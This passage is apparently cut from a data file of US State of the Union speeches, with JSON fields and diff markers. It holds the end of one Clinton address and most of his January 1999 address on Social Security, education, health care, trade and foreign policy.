under\ndemocracy than dictatorship including every nation in our own hemisphere\nbut one, and its day, too, will come.Now we stand at another moment of change and choice, and another time to be\nfarsighted, to bring America 50 more years of security and prosperity.In this endeavor, our first task is to help to build for the very first\ntime an undivided, democratic Europe. When Europe is stable, prosperous,\nand at peace, America is more secure.To that end, we must expand NATO by 1999, so that countries that were once\nour adversaries can become our allies. At the special NATO summit this\nsummer, that is what we will begin to do. We must strengthen NATO's\nPartnership for Peace with non-member allies. And we must build a stable\npartnership between NATO and a democratic Russia.An expanded NATO is good for America, and a Europe in which all democracies\ndefine their future not in terms of what they can do to each other, but in\nterms of what they can do together for the good of all--that kind of\nEurope is good for America.Second, America must look to the East no less than to the West.Our security demands it. Americans fought three wars in Asia in this\ncentury.Our prosperity requires it. More than 2 million American jobs depend upon\ntrade with Asia. There, too, we are helping to shape an Asia Pacific\ncommunity of cooperation, not conflict.Let our--let our progress there not mask the peril that remains. Together\nwith South Korea, we must advance peace talks with North Korea and bridge\nthe Cold War's last divide. And I call on Congress to fund our share of the\nagreement under which North Korea must continue to freeze and then\ndismantle its nuclear weapons program.We must pursue a deeper dialogue with China for the sake of our interests\nand our ideals. An isolated China is not good for America. A China playing\nits proper role in the world is. I will go to China, and I have invited\nChina's president to come here, not because we agree on everything, but\nbecause engaging China is the best way to work on our common challenges,\nlike ending nuclear testing, and to deal frankly with our fundamental\ndifferences, like human rights.The American people must prosper in the global economy. We've worked hard\nto tear down trade barriers abroad so that we can create good jobs at home.\nI'm proud to say that today America is once again the most competitive\nnation and the No. 1 exporter in the world.Now we must act to expand our exports, especially to Asia and Latin\nAmerica, two of the fastest-growing regions on earth, or be left behind as\nthese emerging economies forge new ties with other nations. That is why we\nneed the authority now to conclude new trade agreements that open markets\nto our goods and services even as we preserve our values.We need not shrink from the challenge of the global economy. After all, we\nhave the best workers and the best products. In a truly open market, we can\nout-compete anyone, anywhere on earth.But this is about more than economics. By expanding trade, we can advance\nthe cause of freedom and democracy around the world. There is no better\nexample of this truth than Latin America where democracy and open markets\nare on the march together. That is why I will visit there in the spring to\nreinforce our important ties.We should all be proud that America led the effort to rescue our neighbor,\nMexico, from its economic crisis. And we should all be proud that last\nmonth Mexico repaid the United States, three full years ahead of schedule,\nwith half a billion dollar profit to us.America must continue to be an unrelenting force for peace. From the Middle\nEast to Haiti, from Northern Ireland to Africa, taking reasonable risks for\npeace keeps us from being drawn into far more costly conflicts later. With\nAmerican leadership, the killing has stopped in Bosnia. Now the habits of\npeace must take hold.The new NATO force will allow reconstruction and reconciliation to\naccelerate. Tonight I ask Congress to continue its strong support of our\ntroops. They are doing a remarkable job there for America, and America must\ndo right by them.Fifth, we must move strongly against new threats to our security. In the\npast four years, we agreed to ban--we led the way to a worldwide agreement\nto ban nuclear testing.With Russia, we dramatically cut nuclear arsenals and we stopped targeting\neach other's citizens. We are acting to prevent nuclear materials from\nfalling into the wrong hands, and to rid the world of land mines.We are working with other nations with renewed intensity to fight drug\ntraffickers and to stop terrorists before they act and hold them fully\naccountable if they do.Now we must rise to a new test of leadership--ratifying the Chemical\nWeapons Convention. Make no mistake about it, it will make our troops safer\nfrom chemical attack. It will help us to fight terrorism. We have no more\nimportant obligations, especially in the wake of what we now know about the\nGulf War.This treaty has been bipartisan from the beginning, supported by Republican\nand Democratic administrations, and Republican and Democratic members of\nCongress, and already approved by 68 nations. But if we do not act by April\nthe 29th, when this convention goes into force--with or without us--we\nwill lose the chance to have Americans leading and enforcing this effort.\nTogether we must make the Chemical Weapons Convention law so that at last\nwe can begin to outlaw poisoned gas from the earth.Finally, we must have the tools to meet all these challenges. We must\nmaintain a strong and ready military. We must increase funding for weapons\nmodernization by the year 2000. And we must take good care of our men and\nwomen in uniform. They are the world's finest.We must also renew our commitment to America's diplomacy and pay our debts\nand dues to international financial institutions like the World Bank--and\nto a reforming United Nations. Every dollar--every dollar we devote to\npreventing conflicts, to promoting democracy, to stopping the spread of\ndisease and starvation brings a sure return in security and savings. Yet\ninternational affairs spending today is just 1 percent of the federal\nbudget, a small fraction of what America invested in diplomacy to choose\nleadership over escapism at the start of the cold war.If America is to continue to lead the world, we here who lead America\nsimply must find the will to pay our way. A farsighted America moved the\nworld to a better place over these last 50 years. And so it can be for\nanother 50 years. But a shortsighted America will soon find its words\nfalling on deaf ears all around the world.Almost exactly 50 years ago in the first winter of the Cold War President\nTruman stood before a Republican Congress and called upon our country to\nmeet its responsibilities of leadership. This was his warning. He said, \"If\nwe falter, we may endanger the peace of the world, and we shall surely\nendanger the welfare of this nation.\"That Congress, led by Republicans like Senator Arthur Vandenburg, answered\nPresident Truman's call. Together, they made the commitments that\nstrengthened our country for 50 years. Now let us do the same. Let us do\nwhat it takes to remain the indispensable nation, to keep America strong,\nsecure and prosperous for another 50 years.In the end, more than anything else, our world leadership grows out of the\npower of our example here at home, out of our ability to remain strong as\none America.All over the world people are being torn asunder by racial, ethnic and\nreligious conflicts that fuel fanaticism and terror. We are the world's\nmost diverse democracy, and the world looks to us to show that it is\npossible to live and advance together across those kinds of differences.\nAmerica has always been a nation of immigrants.From the start, a steady stream of people in search of freedom and\nopportunity have left their own lands to make this land their home. We\nstarted as an experiment in democracy fueled by Europeans. We have grown\ninto an experiment in democratic diversity fueled by openness and promise.My fellow Americans, we must never, ever believe that our diversity is a\nweakness; it is our greatest strength.Americans speak every language, know every country. People on every\ncontinent can look to us and see the reflection of their own great\npotential, and they always will, as long as we strive to give all our\ncitizens, whatever their background, an opportunity to achieve their own\ngreatness.We're not there yet. We still see evidence of a biting bigotry and\nintolerance in ugly words and awful violence, in burned churches and bombed\nbuildings. We must fight against this in our country and in our hearts.Just a few days before my second inauguration, one of our country's\nbest-known pastors, Reverend Robert Schuller, suggested that I read Isaiah\n58:12. Here's what it says: \"Thou shalt raise up the foundations of many\ngenerations, and thou shalt be called the repairer of the breach, the\nrestorer of paths to dwell in.\"I placed my hand on that verse when I took the oath of office, on behalf of\nall Americans, for no matter what our differences in our faiths, our\nbackgrounds, our politics, we must all be repairers of the breach.I want to say a word about two other Americans who show us how. Congressman\nFrank Tejeda was buried yesterday, a proud American whose family came from\nMexico. He was only 51 years old. He was awarded the Silver Star, the\nBronze Star and the Purple Heart fighting for his country in Vietnam. And\nhe went on to serve Texas and America fighting for our future here in this\nchamber.We are grateful for his service and honored that his mother, Lillie Tejeda,\nand his sister, Mary Alice, have come from Texas to be with us here\ntonight. And we welcome you. Thank you.Gary Locke, the newly-elected governor of Washington state, is the first\nChinese-American governor in the history of our country. He's the proud son\nof two of the millions of Asian American immigrants who strengthened\nAmerica with their hard work, family values and good citizenship.He represents the future we can all achieve. Thank you, governor, for being\nhere. Please stand up.Reverend Schuller, Congressman Tejeda, Governor Locke, along with Kristen\nTanner and Chris Getsla, Sue Winski and Dr. Kristen Zarfos--they're all\nAmericans from different roots whose lives reflect the best of what we can\nbecome when we are one America.We may not share a common past, but we surely do share a common future.\nBuilding one America is our most important mission, the foundation for many\ngenerations of every other strength we must build for this new century.\nMoney cannot buy it, power cannot compel it, technology cannot create it.\nIt can only come from the human spirit.America is far more than a place; it is an idea--the most powerful idea in\nthe history of nations, and all of us in this chamber, we are now the\nbearers of that idea, leading a great people into a new world.A child born tonight will have almost no memory of the 20th century.\nEverything that child will know about America will be because of what we do\nnow to build a new century. We don't have a moment to waste.Tomorrow there will be just over 1,000 days until the year 2000. One\nthousand days to prepare our people. One thousand days to work together.\nOne thousand days to build a bridge to a land of new promise.My fellow Americans, we have work to do. Let us seize those days and the\ncentury.Thank you. God bless you. And God bless America.", 
+    "name": "William J. Clinton"
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+    "date": "January 19, 1999", 
+    "speech": "Mr. Speaker, Mr. Vice President, members of Congress, honored guests, my\nfellow Americans:Tonight I have the honor of reporting to you on the State of the Union.Let me begin by saluting the new speaker of the House and thanking him\nespecially tonight for extending an invitation to two guests sitting in the\ngallery with Mrs. Hastert. Lyn Gibson and Wei Ling Chestnut are the widows\nof the two brave Capitol Hill police officers who gave their lives to\ndefend freedom's house.Mr. Speaker, at your swearing in you asked us all to work together in a\nspirit of civility and bipartisanship. Mr. Speaker, let's do exactly that.Tonight, I stand before you to report that America has created the longest\npeacetime economic expansion in our history. With nearly 18 million new\njobs, wages rising at more than twice the rate of inflation, the highest\nhomeownership in history, the smallest welfare roles in 30 years, and the\nlowest peacetime unemployment since 1957.For the first time in three decades, the budget is balanced. From a deficit\nof $290 billion in 1992, we had a surplus of $70 billion last year. And\nnow, we are on course for budget surpluses for the next 25 years.Thanks to the pioneering leadership of all of you, we have the lowest\nviolent crime rate in a quarter century and the cleanest environment in a\nquarter century.America is a strong force for peace--from Northern Ireland to Bosnia to\nthe Middle East.Thanks to the leadership of Vice President Gore, we have a government for\nthe Information Age, once again a government that is a progressive\ninstrument of the common good, rooted in our oldest values of opportunity,\nresponsibility and community, devoted to fiscal responsibility, determined\nto give our people the tools they need to make the most of their own lives\nin the 21st century, a 21st century government for 21st century America.My fellow Americans, I stand before you tonight to report that the state of\nour union is strong. Now, America is working again. The promise of our\nfuture is limitless. But we cannot realize that promise if we allow the hum\nof our prosperity to lull us into complacency. How we fare as a nation far\ninto the 21st century depends upon what we do as a nation today.So, with our budget surplus growing, our economy expanding, our confidence\nrising, now is the moment for this generation to meet our historic\nresponsibility to the 21st century.Our fiscal discipline gives us an unsurpassed opportunity to address a\nremarkable new challenge, the aging of America. With the number of elderly\nAmericans set to double by 2030, the baby boom will become a senior boom.So first and above all, we must save Social Security for the 21st century.Early in this century, being old meant being poor. When President Roosevelt\ncreated Social Security, thousands wrote to thank him for eliminating what\none woman called \"the stark terror of penniless, helpless old age.\" Even\ntoday, without Social Security, half our nation's elderly would be forced\ninto poverty.Today, Social Security is strong, but by 2013, payroll taxes will no longer\nbe sufficient to cover monthly payments. By 2032, the trust fund will be\nexhausted and Social Security will be unable to pay the full benefits older\nAmericans have been promised.The best way to keep Social Security a rock solid guarantee is not to make\ndrastic cuts in benefits; not to raise payroll tax rates; not to drain\nresources from Social Security in the name of saving it. Instead, I propose\nthat we make the historic decision to invest the surplus to save Social\nSecurity.Specifically, I propose that we commit 60 percent of the budget surplus for\nthe next 15 years to Social Security, investing a small portion in the\nprivate sector just as any private or state government pension would do.\nThis will earn a higher return and keep Social Security sound for 55\nyears.But we must aim higher. We should put Social Security on a sound footing\nfor the next 75 years. We should reduce poverty among elderly women, who\nare nearly twice as likely to be poor as are other seniors. And we should\neliminate the limits on what seniors on Social Security can earn.Now, these changes will require difficult, but fully achievable choices\nover and above the dedication of the surplus. They must be made on a\nbipartisan basis. They should be made this year. So let me say to you\ntonight, I reach out my hand to all of you in both houses in both parties\nand ask that we join together in saying to the American people, we will\nsave Social Security now.Now, last year, we wisely reserved all of the surplus until we knew what it\nwould take to save Social Security. Again, I say, we shouldn't spend any of\nit, not any of it, until after Social Security is truly saved. First\nthing's first.Second, once we have saved Social Security, we must fulfill our obligation\nto save and improve Medicare. Already we have extended the life of the\nMedicare trust fund by 10 years, but we should extend it for at least\nanother decade. Tonight, I propose that we use one out of every six dollars\nin the surplus for the next 15 years to guarantee the soundness of Medicare\nuntil the year 2020.But, again--but, again, we should aim higher. We must be willing to work\nin a bipartisan way and look at new ideas, including the upcoming report of\nthe Bipartisan Medicare Commission. If we work together, we can secure\nMedicare for the next two decades and cover the greatest growing need of\nseniors--affordable prescription drugs.Third, we must help all Americans from their first day on the job to save,\nto invest, to create wealth.From its beginnings, Americans have supplemented Social Security with\nprivate pensions and savings. Yet today millions of people retire with\nlittle to live on other than Social Security. Americans living longer than\never simply must save more than ever.Therefore, in addition to saving Social Security and Medicare, I propose a\nnew pension initiative for retirement security in the 21st century. I\npropose that we use a little over 11 percent of the surplus to establish\nuniversal savings accounts--USA accounts--to give all Americans the means\nto save.With these new accounts, Americans can invest as they choose and receive\nfunds to match a portion of their savings with extra help for those least\nable to save. USA accounts will help all Americans to share in our nation's\nwealth and to enjoy a more secure retirement. I ask you to support them.Fourth, we must invest in long-term care.I propose a tax credit of $1,000 for the aged, ailing or disabled and the\nfamilies who care for them. Long-term care will become a bigger and bigger\nchallenge with the aging of America--and we must do more to help our\nfamilies deal with it.I was born in 1946, the first year of the baby boom. I can tell you that\none of the greatest concerns of our generation is our absolute\ndetermination not to let our growing old place an intolerable burden on our\nchildren and their ability to raise our grandchildren.Our economic success and our fiscal discipline now give us the opportunity\nto lift that burden from their shoulders, and we should take it.Saving Social Security, Medicare, creating U.S. accounts, this is the right\nway to use the surplus. If we do so, if we do so, we will still have\nresources to meet critical needs and education and defense.And I want to point out that this proposal is fiscally sound. Listen to\nthis, if we set aside 60 percent of the surplus for Social Security and 16\npercent for Medicare over the next 15 years, that savings will achieve the\nlowest level of publicly-held debt since right before World War I in 1917.So with these four measures; saving Social Security, strengthening\nMedicare, establishing the USA accounts, supporting long-term care, we can\nbegin to meet our generation's historic responsibility to establish true\nsecurity for 21st century seniors.Now, there are more children, from more diverse backgrounds, in our public\nschools that any time in our history. Their education must provide the\nknowledge and nurture the creativity that will allow our entire nation to\nthrive in the new economy.Today we can say something we couldn't say six years ago. With tax credits\nand more affordable student loans, with more work-study grants and more\nPell Grants, with education IRAs, the new HOPE Scholarship tax cut that\nmore than five million Americans will receive this year, we have finally\nopened the doors of college to all Americans.With our support, nearly every state has set higher academic standards for\npublic schools and a voluntary national test is being developed to measure\nthe progress of our students. With over $1 billion in discounts available\nthis year, we are well on our way to our goal of connecting every classroom\nand library to the Internet.Last fall, you passed our proposal to start hiring 100,000 new teachers to\nreduce class size in the early grades. Now I ask you to finish the job.You know our children are doing better. SAT scores are up. Math scores have\nrisen in nearly all grades. But there's a problem. While our fourth-graders\nout performed their peers in other countries in math and science, our\neighth-graders are around average, and our 12th-graders rank near the\nbottom. We must do better.Now each year the national government invests more than $15 billion in our\npublic schools. I believe we must change the way we invest that money to\nsupport what works and to stop supporting what does not work.First, later this year I will send to Congress a plan that for the first\ntime holds states and school districts accountable for progress and rewards\nthem for results. My Education Accountability Act will require every school\ndistrict receiving federal help to take the following five steps:First, all schools must end social promotion.Now, no child, no child should graduate from high school with a diploma he\nor she can't read. We do our children no favors when we allow them to pass\nfrom grade to grade without mastering the material. But we can't just hold\nstudents back because the system fails them.So my balanced budget triples the funding for summer school and\nafter-school programs to keep a million children learning. Now, if--if you\ndoubt this will work, just look at Chicago, which ended social promotion\nand made summer school mandatory for those who don't master the basics.\nMath and reading scores are up three years running with some of the biggest\ngains in some of the poorest neighborhoods. It will work, and we should do\nit.Second, all states and school districts must turn around their worst\nperforming schools or shut them down. That's the policy established in\nNorth Carolina by Governor Jim Hunt. North Carolina made the biggest gains\nin test scores in the nation last year. Our budget includes $200 million to\nhelp states turn around their own failing schools.Third, all states and school districts must be held responsible for the\nquality of their teachers. The great majority of our teachers do a fine\njob, but in too many schools teachers don't have college majors or even\nminors in the subjects they teach. New teachers should be required to pass\nperformance exams, and all teachers should know the subject their\nteaching.This year's balanced budget contains resources to help them reach higher\nstandards. And to attract talented young teachers to the toughest\nassignments, I recommend a six-fold increase in our program for college\nscholarships for students who commit to teach in the inner-cities and\nisolated rural areas and in Indian communities. Let us bring excellence to\nevery part of America.Fourth, we must empower parents with more information and more choices. In\ntoo many communities it's easier to get information on the quality of the\nlocal restaurants than on the quality of the local schools.Every school district should issue report cards on every school. And\nparents should be given more choices in selecting their public schools.When I became president, there was just one independent public charter\nschool in all America. With our support on a bipartisan basis, today there\nare 1,100. My budget assures that early in the next century, there will be\n3,000.Fifth, to assure that our classrooms are truly places of learning, and to\nrespond to what teachers have been asking us to do for years, we should say\nthat all states and school districts must both adopt and implement sensible\ndiscipline policies.Now let's do one more thing for our children. Today, too many schools are\nso old they're falling apart, or so overcrowded students are learning in\ntrailers. Last fall, Congress missed the opportunity to change that. This\nyear, with 53 million children in our schools, Congress must not miss that\nopportunity again. I ask you to help our communities build or modernize\n5,000 schools.If we do these things--end social promotion, turn around failing schools,\nbuild modern ones, support qualified teachers, promote innovation,\ncompetition and discipline--then we will begin to meet our generation's\nhistoric responsibility to create to 21st century schools.Now, we also have to do more to support the millions of parents who give\ntheir all every day at home and at work.The most basic tool of all is a decent income. So let's raise the minimum\nwage by a dollar an hour over the next two years.And let's make sure that women and men get equal pay for equal work by\nstrengthening enforcement of the equal pay laws.That was encouraging, you know? There was more balance on the seesaw. I\nlike that. Let's give them a hand. That's great.Working parents also need quality child care. So, again this year, I ask\nCongress to support our plan for tax credits and subsidies for working\nfamilies, for improved safety and quality, for expanded after-school\nprogram. And our plan also includes a new tax credit for stay-at-home\nparents, too. They need support as well.Parents should never have to worry about choosing between their children\nand their work. Now, the Family and Medical Leave Act, the very first bill\nI signed into law, has now, since 1993, helped millions and millions of\nAmericans to care for a newborn baby or an ailing relative without risking\ntheir jobs. I think it's time, with all of the evidence that it has been so\nlittle burdensome to employers, to extend family leave to 10 million more\nAmericans working for smaller companies, and I hope you will support it.Finally, on the matter of work, parents should never have to face\ndiscrimination in the workplace. So I want to ask Congress to prohibit\ncompanies from refusing to hire or promote workers simply because they have\nchildren. That is not right.America's families deserve the world's best medical care. Thanks to\nbipartisan federal support for medical research, we are not on the verge of\nnew treatments to prevent or delay diseases from Parkinson's to Alzheimer's\nto arthritis to cancer. But as we continue our advances in medical science,\nwe can't let our medical system lag behind.Managed care has literally transformed medicine in America, driving down\ncosts, but threatening to drive down quality as well.I think we ought to say to every American, you should have the right to\nknow all you medical options, not just the cheapest. If you need a\nspecialist, you should have a right to see one. You have a right to the\nnearest emergency care if you're in an accident. These are things that we\nought to say. And I think we ought to say you should have a right to keep\nyour doctor during a period of treatment whether it's a pregnancy or a\nchemotherapy treatment or anything else. I believe this.Now I've ordered these rights to be extended to the 85 million Americans\nserved by Medicare, Medicaid and other federal health programs. But only\nCongress can pass a Patients' Bill of Rights for all Americans.Last year, Congress missed that opportunity, and we must not miss that\nopportunity again. For the sake of our families, I ask us to join together\nacross party lines and pass a strong enforceable Patients' Bill of Rights.As more of our medical records are stored electronically, the threats to\nall of our privacy increase. Because Congress has given me the authority to\nact if it does not do so by August, one way or another, we can all say to\nthe American people, we will protect the privacy of medical records this\nyear.Now, two years ago, we acted to extend health coverage to up to five\nmillion children. Now we should go beyond that. We should make it easier\nfor small businesses to offer health insurance. We should give people\nbetween the ages of 55 and 65 who lose their health insurance the chance to\nbuy into Medicare.And we should continue to ensure access to family planning. No one should\nhave to choose between keeping health care and taking a job. And therefore,\nI especially ask you tonight to join hands to pass the landmark bipartisan\nlegislation proposed by Sens. Kennedy and Jeffords, Roth and Moynihan, to\nallow people with disabilities to keep their health insurance when they go\nto work.We need to enable our public hospitals, our community, our university\nhealth centers to provide basic, affordable care for all the millions of\nworking families who don't have any insurance. They do a lot of that today,\nbut much more can be done. And my balanced budget makes a good down payment\ntoward that goal. I hope you will think about them and support that\nprovision.Let me say we must step up our efforts to treat and prevent mental illness.\nNo American should ever be able--afraid ever to address this disease. This\nyear we will host a White House Conference on Mental Health. With\nsensitivity, commitment and passion, Tipper Gore is leading our efforts\nhere, and I'd like to thank her for what she's done. Thank you. Thank you.As everyone knows, our children are targets of a massive media campaign to\nhook them on cigarettes. Now, I ask this Congress to resist the tobacco\nlobby, to reaffirm the FDA's authority to protect our children from tobacco\nand to hold tobacco companies accountable, while protecting tobacco\nfarmers.Smoking has cost taxpayers hundreds of billions of dollars under Medicare\nand other programs. You know, the states have been right about this.\nTaxpayers shouldn't pay for the cost of lung cancer, emphysema, and other\nsmoking-related illnesses, the tobacco companies should.So tonight I announce that the Justice Department is preparing a litigation\nplan to take the tobacco companies to court and with the funds we recover\nto strengthen Medicare.Now, if we act in these areas--minimum wage, family leave, child care,\nhealth care, the safety of our children--then we will begin to meet our\ngeneration's historic responsibilities to strengthen our families for the\n21st century.Today, America is the most dynamic, competitive, job-creating economy in\nhistory, but we can do even better in building a 21st century economy that\nembraces all Americans.Today's income gap is largely a skills gap. Last year, the Congress passed\na law enabling workers to get a skills grant to choose the training they\nneed. And I applaud all of you here who were part of that.This year, I recommend a five-year commitment to the new system, so that we\ncan provide over the next five years appropriate training opportunities for\nall Americans who lose their jobs and expand rapid response teams to help\nall towns which have been really hurt when businesses close. I hope you\nwill support this.Also, I ask your support for a dramatic increase in federal support for\nadult literacy to mount a national campaign aimed at helping the millions\nand millions of working people who still read at less than a fifth-grade\nlevel. We need to do this.Here's some good news. In the past six years, we have cut the welfare rolls\nnearly in half.Two years ago, from this podium, I asked five companies to lead a national\neffort to hire people off welfare. Tonight our welfare-to-work partnership\nincludes 10,000 companies who have hired hundreds of thousands of people,\nand our balanced budget will help another 200,000 people move to the\ndignity and pride of work. I hope you will support it.We must bring the spark of private enterprise to every corner of America,\nto build a bridge from Wall Street to Appalachia to the Mississippi Delta,\nto our Native American communities, with more support for community\ndevelopment banks for empowerment zones, for 100,000 more vouchers for\naffordable housing.And I ask Congress to support our bold new plan to help businesses raise up\nto $15 billion in private sector capital, to bring jobs and opportunities\nand inner cities, rural areas, with tax credits, loan guarantees, including\nthe new American Private Investment Companies, modeled on the Overseas\nPrivate Investment Companies.Now, for years and years we've had this OPIC, this Overseas Private\nInvestment Corporation, because we knew we had untapped markets overseas.\nBut our greatest untapped markets are not overseas--they are right here at\nhome. And we should go after them.We must work hard to help bring prosperity back to the family farm.As this Congress knows very well, dropping prices and the loss of foreign\nmarkets have devastated too many family farmers. Last year, the Congress\nprovided substantial assistance to help stave off a disaster in American\nagriculture, and I am ready to work with lawmakers of both parties to\ncreate a farm safety net that will include crop insurance reform and farm\nincome assistance.I ask you to join with me and do this. This should not be a political\nissue. Everyone knows what an economic problem is going on out there in\nrural America today, and we need an appropriate means to address it.We must strengthen our lead in technology. It was government investment\nthat led to the creation of the Internet. I propose a 28-percent increase\nin long-term computing research.We also must be ready for the 21st century from its very first moment by\nsolving the so-called Y2K computer problem. We had one member of Congress\nstand up and applaud. And we may have about that ration out there\napplauding at home in front of their television sets. But remember, this is\na big, big problem, and we've been working hard on it. Already we've made\nsure that the Social Security checks will come on time.But I want all the folks at home listening to this to know that we need\nevery state and local government, every business large and small to work\nwith us to make sure that this Y2K computer bug will be remembered as the\nlast headache of the 20th century, not the first crisis of the 21st.For our own prosperity, we must support economic growth abroad. You know,\nuntil recently a third of our economic growth came from exports. But over\nthe past year and a half, financial turmoil has put that growth at risk.\nToday, much of the world is in recession, with Asia hit especially hard.\nThis is the most serious financial crisis in half a century.To meet it, the U.S. and other nations have reduced interest rates and\nstrengthened the International Monetary Fund and while the turmoil is not\nover, we have worked very hard with other nations to contain it.At the same time, we will continue to work on the long-term project:\nbuilding a global financial system for the 21st century that promotes\nprosperity and tames the cycle of boom and bust that has engulfed so much\nof Asia. This June, I will meet with other world leaders to advance this\nhistoric purpose and I ask all of you to support our endeavors. I also ask\nyou to support creating a freer and fairer trading system for 21st century\nAmerica.You know, I'd like to say something really serious to everyone in this\nchamber in both parties. I think trade has divided us and divided Americans\noutside this chamber for too long. Somehow, we have to find a common ground\non which business and workers and environmentalists and farmers and\ngovernment can stand together. I believe these are the things we ought to\nall agree on. So, let me try.First, we ought to tear down barriers, open markets and expand trade, but\nat the same time, we must ensure that ordinary citizens in all countries\nactually benefit from trade; a trade that promotes the dignity of work and\nthe rights of workers and protects the environment.We must insist that international trade organizations be open to public\nscrutiny instead of mysterious, secret things subject to wild criticism.When you come right down to it, now that the world economy is becoming more\nand more integrated, we have to do in the world what we spent the better\npart of this century doing here at home. We have got to put a human face on\nthe global economy.Now, we must enforce our trade laws when imports unlawfully flood our\nnation. I have already informed the government of Japan if that nation's\nsudden surge of steel imports into our country is not reversed, America\nwill respond.We must help all manufacturers hit hard by the present crisis with loan\nguarantees, and other incentives to increase American exports by nearly $2\nbillion. I'd like to believe we can achieve a new consensus on trade based\non these principles. And I ask the Congress to join me again in this common\napproach and to give the president the trade authority long used and now\noverdue and necessary to advance our prosperity in the 21st century.Tonight, I issue a call to the nations of the world to join the United\nStates in a new round of global trade negotiation to expand exports of\nservices, manufactures and farm products.Tonight, I say, we will work with the International Labor Organization on a\nnew initiative to raise labor standards around the world. And this year, we\nwill lead the international community to conclude a treaty to ban abusive\nchild labor everywhere in the world.If we do these things--invest in our people, our communities, our\ntechnology--and lead in the global economy, then we will begin to meet our\nhistoric responsibility to build a 21st century prosperity for America.You know, no nation in history has had the opportunity and the\nresponsibility we now have to shape a world that is more peaceful, more\nsecure, more free.All Americans can be proud that our leadership helped to bring peace in\nNorthern Ireland.All Americans can be proud that our leadership has put Bosnia on the path\nto peace. And with our NATO allies we are pressing the Serbian government\nto stop its brutal repression in Kosovo--to bring those responsible to\njustice and to give the people of Kosovo the self-government they deserve.All Americans can be proud that our leadership renewed hope for lasting\npeace in the Middle East. Some of you were with me last December as we\nwatched the Palestinian National Council completely renounce its call for\nthe destruction of Israel.Now, I ask Congress to provide resources so that all parties can implement\nthe Wye Agreement, to protect Israel's security, to stimulate the\nPalestinian economy, to support our friends in Jordan. We must not, we dare\nnot, let them down. I hope you will help me.As we work for peace, we must also meet threats to our nation's security,\nincluding increased danger from outlaw nations and terrorism.We will defend our security wherever we are threatened, as we did this\nsummer when we struck at Osama bin Laden's network of terror. The bombing\nof our embassies in Kenya and Tanzania reminds us again of the risks faced\nevery day by those who represent America to the world. So let's give them\nthe support they need, the safest possible workplaces, and the resources\nthey must have so America can continue to lead.We must work to keep terrorists from disrupting computer networks. We must\nwork to prepare local communities for biological and chemical emergencies,\nto support research into vaccines and treatments. We must increase our\nefforts to restrain the spread of nuclear weapons and missiles, from Korea\nto India and Pakistan. We must expand our work with Russia, Ukraine and\nother former Soviet nations to safeguard nuclear materials and technology\nso they never fall into the wrong hands. Our balanced budget will increase\nfunding for these critical efforts by almost two-thirds over the next five\nyears.With Russia we must continue to reduce our nuclear arsenals. The START II\nTreaty and the framework we have already agreed to for START III could cut\nthem by 80 percent from their Cold War height.It's been two years since I signed the Comprehensive Test Ban Treaty. If we\ndon't do the right thing, other nations won't either. I ask the Senate to\ntake this vital step, approve the treaty now to make it harder for other\nnations to develop nuclear arms, and to make sure we can end nuclear\ntesting for ever.For nearly a decade, Iraq has defied its obligations to destroy its weapons\nof terror and the missiles to deliver them.America will continue to contain [Iraqi President] Saddam [Hussein] and we\nwill work for the day when Iraq has a government worthy of its people. Now,\nlast month, in our action over Iraq, our troops were superb. Their mission\nwas so flawlessly executed, that we risk taking for granted the bravery and\nskill it required. Captain Jeff Taliaferro, a 10-year Air Force veteran of\nthe Air Force, flew a B-1B bomber over Iraq as we attacked Saddam's war\nmachine. He is here with us tonight. I would like to ask you to honor him\nand all the 33,000 men and women of Operation Desert Fox.It is time to reverse the decline in defense spending that began in 1985.Since April, together we have added nearly $6 billion to maintain our\nmilitary readiness. My balanced budget calls for a sustained increase over\nthe next six years for readiness, for modernization, and for pay and\nbenefits for our troops and their families.You know, we are the heirs of a legacy of bravery represented in every\ncommunity in America by millions of our veterans. America's defenders today\nstill stand ready at a moments notice to go where comforts are few and\ndangers are many, to do what needs to be done as no one else can. They\nalways come through for America. We must come through for them.The new century demands new partnerships for peace and security. The United\nNations plays a crucial role, with allies sharing burdens America might\notherwise bear alone. America needs a strong and effective U.N. I want to\nwork with this new Congress to pay our dues and our debts.We must continue to support security and stability in Europe and Asia--\nexpanding NATO and defining its new missions, maintaining our alliance with\nJapan, with Korea, with our other Asian allies, and engaging China.In China last year, I said to the leaders and the people what I'd like to\nsay again tonight: Stability can no longer be bought at the expense of\nliberty.But I'd also like to say again to the American people, it's important not\nto isolate China. The more we bring China into the world, the more the\nworld will bring change and freedom to China.Last spring, with some of you, I traveled to Africa, where I saw democracy\nand reform rising, but still held back by violence and disease. We must\nfortify African democracy and peace by launching radio democracy for\nAfrica, supporting the transition to democracy now beginning to take place\nin Nigeria, and passing the African Trade and Development Act.We must continue to deepen our ties to the Americas and the Caribbean, our\ncommon work to educate children, fight drugs, strengthen democracy and\nincrease trade. In this hemisphere, every government but one is freely\nchosen by its people. We are determined that Cuba, too, will know the\nblessings of liberty.The American people have opened their arms and their hearts and their arms\nto our Central American and Caribbean neighbors who have been so devastated\nby the recent hurricanes. Working with Congress, I am committed to help\nthem rebuild.When the first lady and Tipper Gore visited the region, they saw thousands\nof our troops and thousands of American volunteers. In the Dominican\nRepublic, Hillary helped to rededicate a hospital that had been rebuilt by\nDominicans and Americans working side by side. With her was some one else\nwho has been very important to the relief efforts. You know sports records\nare made and sooner or later, they're broken. But making other people's\nlives better and showing our children the true meaning of brotherhood, that\nlasts forever. So for far more than baseball, Sammy Sosa, you're a hero in\ntwo countries tonight. Thank you.So I say to all of you, if we do these things, if we pursue peace, fight\nterrorism, increase our strength, renew our alliances, we will begin to\nmeet our generation's historic responsibility to build a stronger 21st\ncentury America in a freer, more peaceful world.As the world has changed, so have our own communities. We must make the\nsafer, more livable, and more united. This year, we will reach our goal of\n100,000 community police officers ahead of schedule and under budget.The Brady Bill has stopped a quarter million felons, fugitives, and\nstalkers from buying handguns and now, the murder rate is the lowest in 30\nyears, and the crime rate has dropped for six straight years.Tonight, I propose a 21st Century Crime Bill to deploy the latest\ntechnologies and tactics to make our communities even safer. Our balanced\nbudget will help put up to 50,000 more police on the street in the areas\nhardest hit by crime, and then to equip them with new tools from\ncrime-mapping computers to digital mug shots. We must break the deadly\ncycle of drugs and crime.Our budget expands support for drug testing and treatment, saying to\nprisoners, \"If you stay on drugs, you have to stay behind bars.\" And to\nthose on parole, \"If you want to keep your freedom, you must stay free of\ndrugs.\"I ask Congress to restore the five-day waiting period for buying a handgun\nand extend the Brady Bill to prevent juveniles who commit violent crimes\nfrom buying a gun.We must do more to keep our schools the safest places in our communities.\nLast year, every American was horrified and heartbroken by the tragic\nkillings in Jonesboro, Paducah, Pearl, Edinboro, Springfield. We 